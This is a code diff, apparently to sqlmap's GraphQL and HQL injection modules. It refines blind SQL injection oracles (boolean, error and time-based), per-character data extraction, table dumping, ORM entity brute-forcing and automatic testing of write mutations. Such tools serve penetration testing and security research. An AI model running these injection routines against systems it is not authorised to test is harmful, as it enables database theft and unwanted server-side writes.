if slot.strategy == "numeric": - return None, None, None + return None, None, None, None baseQuery = _buildQuery(slot, "x") if not baseQuery: - return None, None, None + return None, None, None, None def elapsed(query): + # return (seconds, usable): a blocked/5xx/transport-failed response is NOT a usable timing + # sample, so a slow WAF block cannot establish a time-based finding here (the same + # blocked/transport rule the extraction oracle applies). start = time.time() - _gqlSend(endpoint, query) - return time.time() - start + page, code = _gqlSend(endpoint, query) + dt = time.time() - start + return dt, (page is not None and not blockedStatus(code)) - baseline = elapsed(baseQuery) + baseDt, baseUsable = elapsed(baseQuery) + if not baseUsable: + return None, None, None, None delay = conf.timeSec - cutoff = baseline + delay * 0.5 + cutoff = baseDt + delay * 0.5 + + def slow(query): # a CONFIRMED slow, USABLE response + dt, usable = elapsed(query) + return usable and dt > cutoff for dbms, dialect in DIALECTS.items(): if not dialect.delay: continue - sleepQuery = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=1", delay))) - if not sleepQuery or elapsed(sleepQuery) <= cutoff: + sleepValue = "%s' OR %s-- " % (SENTINEL, dialect.delay("1=1", delay)) + sleepQuery = _buildQuery(slot, sleepValue) + if not sleepQuery or not slow(sleepQuery): continue - # Confirm before attributing: the delay must REPRODUCE and a false-condition - # control must stay fast. A single sample turns jitter/a uniformly-slow endpoint - # into a false positive and can pin the wrong dialect; requiring the delay to - # track the condition rules both out. + # Confirm before attributing: the delay must REPRODUCE (usable+slow) and a false-condition + # control must stay fast. A single sample turns jitter/a uniformly-slow endpoint into a false + # positive and can pin the wrong dialect; requiring the delay to track the condition rules both + # out. A blocked slow response is rejected by `slow()` (usable gate). controlQuery = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=2", delay))) - if elapsed(sleepQuery) > cutoff and (controlQuery is None or elapsed(controlQuery) <= cutoff): - return "time-based blind", cutoff, dbms + controlDt, controlUsable = elapsed(controlQuery) if controlQuery else (0, True) + if slow(sleepQuery) and (controlQuery is None or (controlUsable and controlDt <= cutoff)): + return "time-based blind", cutoff, dbms, sleepValue - return None, None, None + return None, None, None, None # --- Boolean / time oracle (universal blind-SQLi primitive) ----------------- @@ -807,54 +1091,119 @@ def _payload(condition): return "%s' OR (%s)-- " % (SENTINEL, condition) if threshold is not None and dbmsHint and DIALECTS[dbmsHint].delay: - # Timing oracle: a per-document sleep fires only when `condition` holds. Batching - # would serialise the sleeps and inflate every request, so it is not offered here. + # Timing oracle: a per-document sleep fires only when `condition` holds. Batching would serialise + # the sleeps and inflate every request, so it is not offered here. A single measurement against a + # fixed threshold turns jitter into wrong bits over a long dump, so classify with repeated + # samples: a clear fast/slow reading decides immediately; a reading near the threshold is + # RE-SAMPLED, and persistent ambiguity aborts the value (InconclusiveError) rather than guessing. delay = DIALECTS[dbmsHint].delay - def truth(condition): + def _elapsed(condition): query = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, delay(condition, conf.timeSec))) if not query: - return False + return None start = time.time() - _gqlSend(endpoint, query) - return (time.time() - start) > threshold + page, code = _gqlSend(endpoint, query) + if page is None or blockedStatus(code): # transport failure/block is UNKNOWN, not "fast" + return None + return time.time() - start + + def truth(condition): + margin = max(0.5, conf.timeSec * 0.25) # ambiguity band around the threshold + for _attempt in range(3): + dt = _elapsed(condition) + if dt is None: + continue # re-sample a failed/blocked reading + if dt > threshold + margin: + return True + if dt < threshold - margin: + return False + # NEAR the threshold: a lone confirming sample deciding True/False would guess on an + # ambiguous pair, so loop and RE-SAMPLE; only a clear reading (above) decides, else the + # retries exhaust and the value aborts (InconclusiveError). A missing/low confirmation + # is NOT "False". + raise InconclusiveError() return truth, None - # Content oracle: capture the always-true template and require a clear true/false split + # Content oracle: calibrate BOTH the always-true and never-true models on the SAME extraction shape + # the bits use, and require a clear split between them. trueVal = _slotValue(_gqlSend(endpoint, _buildQuery(slot, _payload("1=1")))[0]) falseVal = _slotValue(_gqlSend(endpoint, _buildQuery(slot, _payload("1=2")))[0]) if _ratio(trueVal, falseVal) > UPPER_RATIO_BOUND: return None, None def truth(condition): + # Tri-state: classify each bit against BOTH models with a margin, RE-SEND on an ambiguous read, + # and ABORT the value (InconclusiveError) on persistent ambiguity - never let a transport + # failure or a near-tie silently become a False bit that corrupts the extracted value. query = _buildQuery(slot, _payload(condition)) if not query: - return False - page, _ = _gqlSend(endpoint, query) - return _ratio(_slotValue(page), trueVal) > UPPER_RATIO_BOUND + raise InconclusiveError() + + def send(): + page, code = _gqlSend(endpoint, query) + if page is None or blockedStatus(code) or _hasErrors(page): + return None # a resolver ERROR is UNKNOWN, not a false bit + return _slotValue(page) + + return resolveBit(send(), trueVal, falseVal, send) def truthBatch(conditions): query, aliases = _buildBatch(slot, [_payload(_) for _ in conditions]) if not query: - return [False] * len(conditions) - page, _ = _gqlSend(endpoint, query) - data = (_parseJSON(page) or {}).get("data") or {} - return [_ratio(json.dumps(data.get(alias), sort_keys=True, default=str), trueVal) > UPPER_RATIO_BOUND - for alias in aliases] + raise InconclusiveError() + page, code = _gqlSend(endpoint, query) + if page is None or blockedStatus(code): + raise InconclusiveError() # a FAILED batch must NOT decay into a list of False bits + doc = _parseJSON(page) or {} + data = doc.get("data") + if not isinstance(data, dict): + raise InconclusiveError() + # A batch is trustworthy ONLY when every error is attributable to a specific alias via a + # non-empty path. A PATHLESS / global error (request-level, auth, middleware, unpathed resolver + # exception) affects the WHOLE batch, so it must invalidate every bit - not be ignored while the + # aliases (which may still be null) get classified as clean false observations. + for e in (doc.get("errors") or []): + path = e.get("path") if isinstance(e, dict) else None + if not (isinstance(path, list) and path): + raise InconclusiveError() # pathless/global error -> the entire batch is UNKNOWN + out = [] + for alias in aliases: + if alias not in data or _aliasErrored(page, alias): # absent or errored alias is UNKNOWN + raise InconclusiveError() + d = _decide(json.dumps(data.get(alias), sort_keys=True, default=str), trueVal, falseVal) + if d is _Decision.INCONCLUSIVE: + raise InconclusiveError() # an ambiguous bit in a batch -> abort the value, don't guess + out.append(d is _Decision.TRUE) + return out # Sanity: the oracle must answer a known truth/falsehood correctly - if not (truth("1=1") and not truth("1=2")): + try: + if not (truth("1=1") and not truth("1=2")): + return None, None + except InconclusiveError: return None, None + # NEVER batch a MUTATION: _buildBatch aliases the field once per condition, so a single batched + # request would EXECUTE the write resolver many times. Aliased batching is a read-side speed-up + # only; a mutation extracts one condition per request (sequential), unless a verified dry-run/ + # rollback argument makes repeated execution non-persisting (not assumed here). + if slot.operation == "mutation": + return truth, None + return truth, truthBatch def _fingerprint(truth): - # Identify the back-end DBMS by probing each dialect's signature predicate + # Identify the back-end DBMS by probing each dialect's signature predicate. An inconclusive probe + # is not a match (and not a crash) - skip that dialect rather than abort the whole fingerprint. for dbms, dialect in DIALECTS.items(): - if truth(dialect.fingerprint): - return dbms + try: + if truth(dialect.fingerprint): + return dbms + except InconclusiveError: + continue return None @@ -892,30 +1241,35 @@ def _inferChar(truth, dialect, expr, pos): def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH): # Recover the string value of SQL expression `expr` one character at a time: # binary-search the length, then each character via _inferChar (printable-fast, - # widening to full Unicode for non-ASCII). + # widening to full Unicode for non-ASCII). A persistently-inconclusive bit aborts the + # value (returns None) rather than being coerced to a wrong length/char. lengthExpr = dialect.length(expr) - if not truth("%s>0" % lengthExpr): - return "" if truth("%s=0" % lengthExpr) else None - - length, probe = 1, 2 - while probe <= maxLen and truth("%s>=%d" % (lengthExpr, probe)): - length, probe = probe, probe * 2 - low, high = length, min(probe, maxLen + 1) - while low + 1 < high: - mid = (low + high) // 2 - if truth("%s>=%d" % (lengthExpr, mid)): - low = mid - else: - high = mid - length = low - - if length >= maxLen: - logger.warning("value length hit the %d-char cap; the recovered value may be truncated" % maxLen) - - value = "" - for pos in xrange(1, length + 1): - value += _inferChar(truth, dialect, expr, pos) + try: + if not truth("%s>0" % lengthExpr): + return "" if truth("%s=0" % lengthExpr) else None + + length, probe = 1, 2 + while probe <= maxLen and truth("%s>=%d" % (lengthExpr, probe)): + length, probe = probe, probe * 2 + low, high = length, min(probe, maxLen + 1) + while low + 1 < high: + mid = (low + high) // 2 + if truth("%s>=%d" % (lengthExpr, mid)): + low = mid + else: + high = mid + length = low + + if length >= maxLen: + logger.warning("value length hit the %d-char cap; the recovered value may be truncated" % maxLen) + + value = "" + for pos in xrange(1, length + 1): + value += _inferChar(truth, dialect, expr, pos) + except InconclusiveError: + logger.warning("GraphQL blind extraction aborted for a value (oracle inconclusive after retries)") + return None return value @@ -928,70 +1282,99 @@ def _inferExprBatched(truthBatch, truth, dialect, expr, maxLen=MAX_LENGTH): # (the 7 bits only carry the low byte), so non-ASCII data is not mangled. lengthExpr = dialect.length(expr) - length = 0 - for chunk in _chunks(list(xrange(1, maxLen + 1)), BATCH_SIZE): - results = truthBatch(["%s>=%d" % (lengthExpr, _) for _ in chunk]) - hits = [n for n, ok in zip(chunk, results) if ok] - if hits: - length = max(length, max(hits)) - if not all(results): # monotone predicate: no longer length can be true beyond here - break - if length == 0: - return "" - - conditions, index = [], [] - for pos in xrange(1, length + 1): - for bit in xrange(7): - conditions.append("(%s & %d)>0" % (dialect.ordinal(expr, pos), 1 << bit)) - index.append((pos, bit)) - conditions.append("%s>%d" % (dialect.ordinal(expr, pos), CHAR_MAX)) - index.append((pos, "hi")) - - codes, wide = {}, set() - flat = [] - for chunk in _chunks(conditions, BATCH_SIZE): - flat.extend(truthBatch(chunk)) - for (pos, bit), ok in zip(index, flat): - if bit == "hi": - if ok: - wide.add(pos) - elif ok: - codes[pos] = codes.get(pos, 0) | (1 << bit) - - value = "" - for pos in xrange(1, length + 1): - if pos in wide: - value += _inferChar(truth, dialect, expr, pos) # non-ASCII: exact recovery - else: - code = codes.get(pos, 0) - value += _unichr(code) if CHAR_MIN <= code <= CHAR_MAX else "?" + try: + length = 0 + for chunk in _chunks(list(xrange(1, maxLen + 1)), BATCH_SIZE): + results = truthBatch(["%s>=%d" % (lengthExpr, _) for _ in chunk]) + hits = [n for n, ok in zip(chunk, results) if ok] + if hits: + length = max(length, max(hits)) + if not all(results): # monotone predicate: no longer length can be true beyond here + break + if length == 0: + return "" + + conditions, index = [], [] + for pos in xrange(1, length + 1): + for bit in xrange(7): + conditions.append("(%s & %d)>0" % (dialect.ordinal(expr, pos), 1 << bit)) + index.append((pos, bit)) + conditions.append("%s>%d" % (dialect.ordinal(expr, pos), CHAR_MAX)) + index.append((pos, "hi")) + + codes, wide = {}, set() + flat = [] + for chunk in _chunks(conditions, BATCH_SIZE): + flat.extend(truthBatch(chunk)) + for (pos, bit), ok in zip(index, flat): + if bit == "hi": + if ok: + wide.add(pos) + elif ok: + codes[pos] = codes.get(pos, 0) | (1 << bit) + + value = "" + for pos in xrange(1, length + 1): + if pos in wide: + value += _inferChar(truth, dialect, expr, pos) # non-ASCII: exact recovery + else: + code = codes.get(pos, 0) + value += _unichr(code) if CHAR_MIN <= code <= CHAR_MAX else "?" + except InconclusiveError: + # a failed/ambiguous batch must abort the value, not silently yield a run of false bits + logger.warning("GraphQL batched extraction aborted for a value (oracle inconclusive)") + return None return value def _inferrer(truth, truthBatch, dialect): # Pick batched inference when the back-end honours aliased batching (verified # with a known true/false pair), else fall back to sequential bisection - if truthBatch and truthBatch(["1=1", "1=2"]) == [True, False]: - logger.info("using aliased query batching to accelerate blind extraction") - return lambda expr, maxLen=MAX_LENGTH: _inferExprBatched(truthBatch, truth, dialect, expr, maxLen) + if truthBatch: + try: + if truthBatch(["1=1", "1=2"]) == [True, False]: + logger.info("using aliased query batching to accelerate blind extraction") + return lambda expr, maxLen=MAX_LENGTH: _inferExprBatched(truthBatch, truth, dialect, expr, maxLen) + except InconclusiveError: + pass # batching calibration was ambiguous -> use sequential bisection return lambda expr, maxLen=MAX_LENGTH: _inferExpr(truth, dialect, expr, maxLen) -def _catList(infer, dialect, col, fromClause): +def _inferCount(infer, expr, label): + # Recover a COUNT(*). Distinguish an INCONCLUSIVE oracle (`infer` returns None) from a genuine + # numeric answer: an inconclusive count must NOT collapse to 0 (which would present an unavailable + # catalog/table as a confirmed-empty one). Returns an int, or None when the count is unknown. + raw = infer("(SELECT COUNT(*) %s)" % expr) + if raw is None: + logger.warning("%s count is inconclusive (oracle unavailable); result may be incomplete" % label) + return None + raw = raw.strip() + if raw.isdigit(): + return int(raw) + # a NON-NUMERIC / corrupted count is UNKNOWN, not a confirmed empty catalog/table -> None (partial), + # never 0 (which would present an unavailable result as "no rows") + logger.warning("%s count came back non-numeric (%r); treating as inconclusive, not empty" % (label, raw[:32])) + return None + + +def _catList(infer, dialect, col, fromClause, label="catalog"): # Enumerate a catalog name list (tables or a table's columns) one entry at a time by # ordinal position, so a GROUP_CONCAT/STRING_AGG the back-end would silently truncate # (e.g. MySQL group_concat_max_len=1024) can't drop names. - try: - count = int((infer("(SELECT COUNT(*) %s)" % fromClause) or "").strip()) - except ValueError: - count = 0 + count = _inferCount(infer, fromClause, label) + if count is None: + return None # UNKNOWN (not empty) - caller must not report "0 names" - names = [] + names, missing = [], 0 for offset in xrange(min(count, DUMP_MAX_ROWS)): name = infer("(SELECT %s %s %s)" % (col, fromClause, dialect.paginate(col, offset))) - if name: + if name is None: + missing += 1 # inconclusive name (NOT a genuine empty) - count it + elif name: names.append(name) + if missing: + logger.warning("%s: %d of %d name(s) were inconclusive and omitted" % (label, missing, min(count, DUMP_MAX_ROWS))) if count > DUMP_MAX_ROWS: logger.warning("catalog lists %d names; enumerating the first %d (DUMP_MAX_ROWS cap)" % (count, DUMP_MAX_ROWS)) @@ -1003,24 +1386,25 @@ def _dumpTable(infer, dialect, table): # position. A whole-table GROUP_CONCAT/STRING_AGG would be silently truncated by # the back-end (e.g. MySQL group_concat_max_len=1024), dropping rows; per-row # extraction has no such cap. - columns = _catList(infer, dialect, dialect.columnCol, dialect.columnFrom(table)) - if not columns: + columns = _catList(infer, dialect, dialect.columnCol, dialect.columnFrom(table), label="table '%s' columns" % table) + if not columns: # None (inconclusive) or [] (genuinely no columns) return None - countRaw = infer("(SELECT COUNT(*) FROM %s)" % table) - try: - count = int((countRaw or "").strip()) - except ValueError: - count = 0 + count = _inferCount(infer, "FROM %s" % dialect.fromIdent(table), "table '%s'" % table) + if count is None: + return None # UNKNOWN row count - do NOT present as an empty table - rows = [] + rows, missing = [], 0 for offset in xrange(min(count, DUMP_MAX_ROWS)): raw = infer(dialect.row(columns, table, offset), DUMP_MAX_LENGTH) if raw is None: + missing += 1 # inconclusive row (NOT skipped-as-empty) - count it continue cells = raw.split(COL_SEP) rows.append((cells + [""] * len(columns))[:len(columns)]) + if missing: + logger.warning("table '%s': %d of %d row(s) were inconclusive and omitted (result is partial)" % (table, missing, min(count, DUMP_MAX_ROWS))) if count > DUMP_MAX_ROWS: logger.warning("table '%s' has %d rows; dumping the first %d (DUMP_MAX_ROWS cap)" % (table, count, DUMP_MAX_ROWS)) @@ -1092,17 +1476,17 @@ def _grid(columns, rows): def _renderTypeStr(chain): - # Render a GraphQL type chain as a readable string: [User]! or String! - named = _leafName(chain) or "" - prefix = "" - suffix = "" - for kind, _ in chain: + # Render a GraphQL type chain: String!, [User], [String!]!, [[Int]!]! ... `chain` is outermost-> + # innermost (see _unwrapType), so wrap the named type INSIDE-OUT (reversed) - composing each + # wrapper around the accumulated string. The old code overwrote a single shared suffix, so a + # nested `[String!]!` collapsed to the malformed `[String!` (list-close lost). + out = _leafName(chain) or "" + for kind, _ in reversed(chain): if kind == "NON_NULL": - suffix = "!" + out += "!" elif kind == "LIST": - prefix = "[" + prefix - suffix = suffix + "]" - return prefix + named + suffix + out = "[" + out + "]" + return out def _dumpSchema(schema, endpoint): @@ -1152,34 +1536,63 @@ def _testSlot(slot, endpoint): where `oracle` is (truth, truthBatch, dbmsHint) for a usable blind-SQLi primitive (None for an error-only / non-differential point) and `oracleType` is None when nothing is confirmed.""" - kind = oracleType = detail = templatePage = dbmsHint = threshold = None + kind = oracleType = detail = templatePage = dbmsHint = threshold = winningPayload = None + isMutation = slot.operation == "mutation" - # Boolean content inference is the most reliable extraction oracle, so it is preferred over the - # (also valid) error and time signals, which serve as fallbacks for non-differential slots. - oracleType, templatePage = _detectBoolean(slot, endpoint) - if oracleType: - kind = "boolean" - logger.info("boolean-based oracle confirmed (%s)" % oracleType) - else: - errorType, detail = _detectError(slot, endpoint) - if errorType: - kind, oracleType = "error", errorType - logger.info("error-based oracle confirmed") + def _boolean(): + return ("boolean",) + _detectBoolean(slot, endpoint) # (kind, oracleType, templatePage, winPayload) + + def _error(): + et, dt, wp = _detectError(slot, endpoint) + return ("error", et, None, wp, dt) + + def _time(): + ot, th, dh, wp = _detectTime(slot, endpoint) + return ("time", ot, None, wp, th, dh) + + # For a MUTATION, run the error-based and (false-condition) probes BEFORE the always-true boolean + # pair, so a write resolver is not driven with a satisfied predicate any earlier than necessary; for + # a query, boolean content inference is the most reliable oracle and is preferred first. + order = ("error", "boolean", "time") if isMutation else ("boolean", "error", "time") + for step in order: + if step == "boolean": + _k, oracleType, templatePage, winningPayload = _boolean() + if oracleType: + kind = "boolean" + logger.info("boolean-based oracle confirmed (%s)" % oracleType) + break + elif step == "error": + _k, errorType, _tp, winningPayload, detail = _error() + if errorType: + kind, oracleType = "error", errorType + logger.info("error-based oracle confirmed") + break else: - oracleType, threshold, dbmsHint = _detectTime(slot, endpoint) + _k, oracleType, _tp, winningPayload, threshold, dbmsHint = _time() if oracleType: kind = "time" logger.info("time-based oracle confirmed (back-end '%s', threshold %.1fs)" % (dbmsHint, threshold)) + break if not kind: logger.info("no oracle confirmed for this slot") return None, None, None - logger.info("%s.%s(%s:) is vulnerable to GraphQL injection (%s-based)" % (slot.parentType, slot.fieldName, slot.targetArg, kind)) - title = "GraphQL %s" % oracleType - payload = _buildQuery(slot, _SQL_BOOLEAN_TRUE) or _SQL_BOOLEAN_TRUE - report = "---\nParameter: %s.%s(%s:) (%s)\n Type: GraphQL injection\n Title: %s\n Payload: %s\n---" % ( - slot.parentType, slot.fieldName, slot.targetArg, slot.strategy, title, _escapeGraphQLString(payload)) + # GraphQL is the TRANSPORT, not the vulnerability class. The oracle here is a blind SQL (or, for + # a NoSQL error signature, NoSQL) injection primitive in a resolver - report it as such, with + # GraphQL as the transport and the resolver argument as the location (the reviewer's core point: + # "Type: GraphQL injection" is wrong; it is SQL/NoSQL injection reached VIA GraphQL). + vulnClass = "NoSQL injection" if (oracleType or "").startswith("nosql") else "SQL injection" + location = "%s.%s(%s:)" % (slot.parentType, slot.fieldName, slot.targetArg) + logger.info("%s is vulnerable to %s via GraphQL (%s-based)" % (location, vulnClass, kind)) + title = "%s via GraphQL (%s-based)" % (vulnClass, kind) + # report the EXACT query that established THIS finding (the winning boolean/error/time/nosql + # payload), never a representative SQL-boolean payload for a time- or error-based hit - the shown + # reproducer must actually reproduce the reported issue + payload = _buildQuery(slot, winningPayload) or winningPayload + impactLine = (" Impact: mutation (%s)\n" % _mutationImpact(slot.fieldName)) if isMutation else "" + report = ("---\nParameter: %s (%s)\n Type: %s\n Title: %s\n Transport: GraphQL\n%s" + " Payload: %s\n---") % (location, slot.strategy, vulnClass, title, impactLine, _escapeGraphQLString(payload)) conf.dumper.singleString(report) if conf.beep: beep() @@ -1281,8 +1694,11 @@ def graphqlScan(): # (banner, tables, full table dumps). Mutation slots are reported but not # exercised, to avoid modifying server-side data. - global SENTINEL + global SENTINEL, COL_SEP SENTINEL = randomStr(length=10, lowercase=True) + # randomize the per-row cell separator each run: a fixed "~~~" that legitimately occurs in a cell + # would shift every subsequent column on split (silent corruption). A random token can't collide. + COL_SEP = "~%s~" % randomStr(length=12, lowercase=True) debugMsg = "'--graphql' is self-contained: it discovers the GraphQL endpoint, " debugMsg += "enumerates the schema, and injects SQL/NoSQL payloads into reachable " @@ -1346,12 +1762,6 @@ def graphqlScan(): if schema: _dumpSchema(schema, endpoint) - if mutationSlots: - names = sorted(set("%s(%s:)" % (_.fieldName, _.targetArg) for _ in mutationSlots)) - warnMsg = "skipping %d mutation slot(s) to avoid modifying server-side data " % len(mutationSlots) - warnMsg += "(%s). They may carry the same injection. Test them manually if intended" % ", ".join(names) - logger.warning(warnMsg) - # 5. Per-slot detection; keep the first usable blind-SQLi oracle for enumeration oracle = None found = False @@ -1368,6 +1778,42 @@ def graphqlScan(): logger.info("retaining %s.%s(%s:) as the blind-SQLi oracle for back-end enumeration" % ( slot.parentType, slot.fieldName, slot.targetArg)) + # 5b. Mutation slots are tested AUTOMATICALLY - but only when the (safer) query slots yielded no + # oracle, ranked so read-like mutations (login/verify/token/...) run before write-like ones, and + # each finding is gated by _testSlot's negative control + reproduction (a spurious write cannot be + # reported). Detection uses the error-based / boolean-false / conditional-time probes, which resolve + # in the lookup before any persistence. Impact is classified and reported per vector. As soon as a + # mutation oracle is retained the loop stops, to minimise further writes. + if mutationSlots and not oracle: + logger.info("no query-slot oracle; automatically testing %d mutation slot(s) (read-like ranked first)" % len(mutationSlots)) + for slot in _rankMutations(mutationSlots): + impact = _mutationImpact(slot.fieldName) + logger.info("testing mutation slot %s.%s(%s:) [%s, impact: %s]" % ( + slot.parentType, slot.fieldName, slot.targetArg, slot.strategy, impact)) + oracleType, slotOracle, _ = _testSlot(slot, endpoint) + if oracleType: + found = True + logger.info("mutation %s.%s(%s:) is injectable (impact classification: %s)" % ( + slot.parentType, slot.fieldName, slot.targetArg, impact)) + if slotOracle: + # Detection + report happen for EVERY confirmed mutation. But bulk blind enumeration + # (fingerprint + catalog + full dump = hundreds/thousands of resolver executions) is + # driven ONLY through a READ-LIKE mutation (login/verify/token/...). A write-like / + # unknown mutation is reported but NOT used as the enumeration transport unless its + # non-persistence is verified (a schema-backed, behaviour-confirmed dry-run/rollback - + # not merely a forced dryRun:true, which a resolver may ignore/invert). This keeps + # exploitation automatic without silently committing many writes. + if impact == "read-like" or _dryRunVerified(slot, endpoint): + oracle = slotOracle + logger.info("retaining %s mutation %s.%s(%s:) as the enumeration oracle; stopping further mutation probes" % ( + impact, slot.parentType, slot.fieldName, slot.targetArg)) + break + logger.warning("mutation %s.%s(%s:) is injectable but is WRITE-LIKE/UNKNOWN with unverified " + "non-persistence; reporting it WITHOUT driving bulk blind enumeration through it " + "(that would execute the write resolver many times). Re-target a read-like vector, " + "or expose a verified dry-run/rollback argument, to auto-enumerate through it." % ( + slot.parentType, slot.fieldName, slot.targetArg)) + # 6. Back-end enumeration through the retained oracle if oracle: _enumerate(oracle) diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py index e0da607c6fc..f880e497af4 100644 --- a/lib/techniques/hql/inject.py +++ b/lib/techniques/hql/inject.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import difflib import re import time @@ -18,6 +17,14 @@ from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import PLACE +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import INCONCLUSIVE_MARK +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userOracleActive from lib.core.settings import HQL_CHAR_MAX from lib.core.settings import HQL_CHAR_MIN from lib.core.settings import HQL_COMMON_ENTITIES @@ -34,6 +41,7 @@ SENTINEL = randomStr(length=10, lowercase=True) + HQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) # Attribute names probed (via an error-vs-valid oracle) once the mapped entity is @@ -67,8 +75,6 @@ Slot.__new__.__defaults__ = (None,) * 7 -def _ratio(first, second): - return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() def _delim(place): @@ -125,17 +131,24 @@ def _send(place, parameter, value): try: if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) - page, _, _ = Request.getPage(raise404=False, silent=True) + page, _, code = Request.getPage(raise404=False, silent=True) + # a transport failure or a BLOCKED/ERROR status (5xx, 403/429) is not a usable oracle sample - + # signal None so the boolean routines (which reject None) can never decide a bit on it + if blockedStatus(code): + return None return page or "" except Exception as ex: logger.debug("HQL probe request failed: %s" % getUnicode(ex)) - return "" + return None finally: conf.parameters[place] = old_params def _isError(page): - return bool(re.search(HQL_ERROR_REGEX, getUnicode(page or ""))) + # an ORM/HQL error body OR a recognized SQL/DBMS error marks a response as NOT a valid boolean + # template (a broken break-out that trips a DBMS syntax error must not fake a boolean oracle). + page = getUnicode(page or "") + return bool(re.search(HQL_ERROR_REGEX, page)) or sqlErrorPresent(page) def _backendFromError(page): @@ -189,6 +202,10 @@ def _boolean(truthy, falsy): if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: return None + # honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: return truePage @@ -223,24 +240,87 @@ def _wrap(original, boundary, predicate): return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix) -def _makeOracle(place, parameter, template, boundary, original): - """Build oracle(predicate) -> bool from a verified true template.""" +# HQL/JPQL-only WHERE predicates for positive attribution WITHOUT a reflected ORM error (production +# systems suppress diagnostics). Each pair differs ONLY in the truth of a construct that plain SQL does +# NOT evaluate the same way, so a true/false divergence is attributable to the ORM. +# +# NOTE deliberately NOT using Hibernate CAST type aliases (CAST(x AS string/integer/long/big_decimal)): +# although PostgreSQL/MySQL/MSSQL reject those type names, SQLite accepts ARBITRARY cast type names, so +# `CAST(1 AS string)='1'` is TRUE on plain SQLite and would mis-attribute a SQLite SQL injection as HQL. +# +# `str()` is Hibernate's legacy stringify function and is a clean discriminator across the target +# engines: SQLite/MySQL/MariaDB/PostgreSQL/H2/HSQLDB have NO `str()` function, so the payload ERRORS +# (both sides error -> no divergence -> not confirmed); Microsoft SQL Server's STR(1) yields a +# space-padded ' 1', so BOTH str(1)='1' and str(1)='2' are false (again no divergence). Only a +# Hibernate parser makes str(1)='1' true and str(1)='2' false. A single clean primitive is preferred +# over a broad battery here: on a context that rejects it, attribution simply falls back to +# "indistinguishable from SQLi" (safe under-report), never a false HQL claim. +_HQL_PREDICATES = ( + ("str(1)='1'", "str(1)='2'"), +) + + +def _confirmHql(place, parameter, boundary, original): + """Positive HQL/JPQL attribution with no reflected error: probe the HQL-only battery through the + boolean oracle. Returns True as soon as ANY primitive flips true/false behind the verified boundary; + a plain-SQL target (SQLite included) errors on or evaluates-both-false every one -> no divergence -> + not confirmed as HQL.""" + base = _base(boundary, original) + for truePred, falsePred in _HQL_PREDICATES: + if _boolean(lambda p=_wrap(base, boundary, truePred): _send(place, parameter, p), + lambda p=_wrap(base, boundary, falsePred): _send(place, parameter, p)): + return True + return False + + +def _makeOracle(place, parameter, boundary, original): + """Build the extraction oracle by RECALIBRATING BOTH true and false models on the SAME extraction + base + boundary the predicates use (`_base()` -> SENTINEL/-1, NOT the original-based detection + template). Reusing the detection true template (built with the original value) while extraction + ran on a different base was a base mismatch. Reproduce both, require separable, else None (disable + extraction). Classification is RELATIVE (closer to the true model than the false one, by a margin) + so dynamic drift can't flip a bit.""" cache = {} base = _base(boundary, original) def request(payload): + # cache ONLY usable responses - a cached transient failure would freeze a wrong bit forever if payload not in cache: - cache[payload] = _send(place, parameter, payload) + page = _send(place, parameter, payload) + if page is not None and not _isError(page): + cache[payload] = page + return page return cache[payload] - def truth(predicate): - page = request(_wrap(base, boundary, predicate)) - if page is None or _isError(page): - return False - return _ratio(template, page) >= UPPER_RATIO_BOUND + truePayload = _wrap(base, boundary, "1=1") + falsePayload = _wrap(base, boundary, "1=2") + trueTemplate = request(truePayload) + falseTemplate = request(falsePayload) + + if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate): + return None + if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: # reproduce true + return None + if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: # reproduce false + return None + if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND: # not separable -> can't extract + return None - truth.template = template + def truth(predicate): + # transport failure / blocked / error response is UNKNOWN, not False: route even a missing + # initial sample through resolveBit() (retry -> InconclusiveError) so a transient failure on a + # true predicate never becomes a permanent false bit that corrupts the bisection + payload = _wrap(base, boundary, predicate) + page = request(payload) + usable = page if (page is not None and not _isError(page)) else None + + def fresh(): + p = _send(place, parameter, payload) + return None if (p is None or _isError(p)) else p + return resolveBit(usable, trueTemplate, falseTemplate, fresh) + + truth.template = trueTemplate truth.cache = cache return truth @@ -268,6 +348,19 @@ def _shortEntity(entity): return re.split(r"[.$]", entity)[-1] if entity else entity +def _exists(truth, predicate): + """Existence probe helper: an unmapped entity/attribute makes the ORM query fail + to compile (error page), which for a yes/no existence question is a definitive + 'no'. Unlike value bisection - where a transient error must stay inconclusive so + it never freezes a wrong bit - an inconclusive/error existence probe reads as + false (matching the pre-recalibration oracle semantics these probes rely on).""" + + try: + return truth(predicate) + except InconclusiveError: + return False + + def _bruteEntities(truth): """Recover mapped entity names through the boolean oracle alone (no reflected diagnostic needed): a mapped name keeps the FROM clause valid, an unmapped one @@ -276,7 +369,7 @@ def _bruteEntities(truth): retVal = [] for entity in HQL_COMMON_ENTITIES: - if truth("EXISTS(SELECT 1 FROM %s _h)" % entity): + if _exists(truth, "EXISTS(SELECT 1 FROM %s _h)" % entity): retVal.append(entity) return retVal @@ -290,7 +383,7 @@ def _enumFields(truth, entity): if len(fields) >= HQL_MAX_FIELDS: break predicate = "EXISTS(SELECT _h.%s FROM %s _h)" % (field, entity) - if truth(predicate): + if _exists(truth, 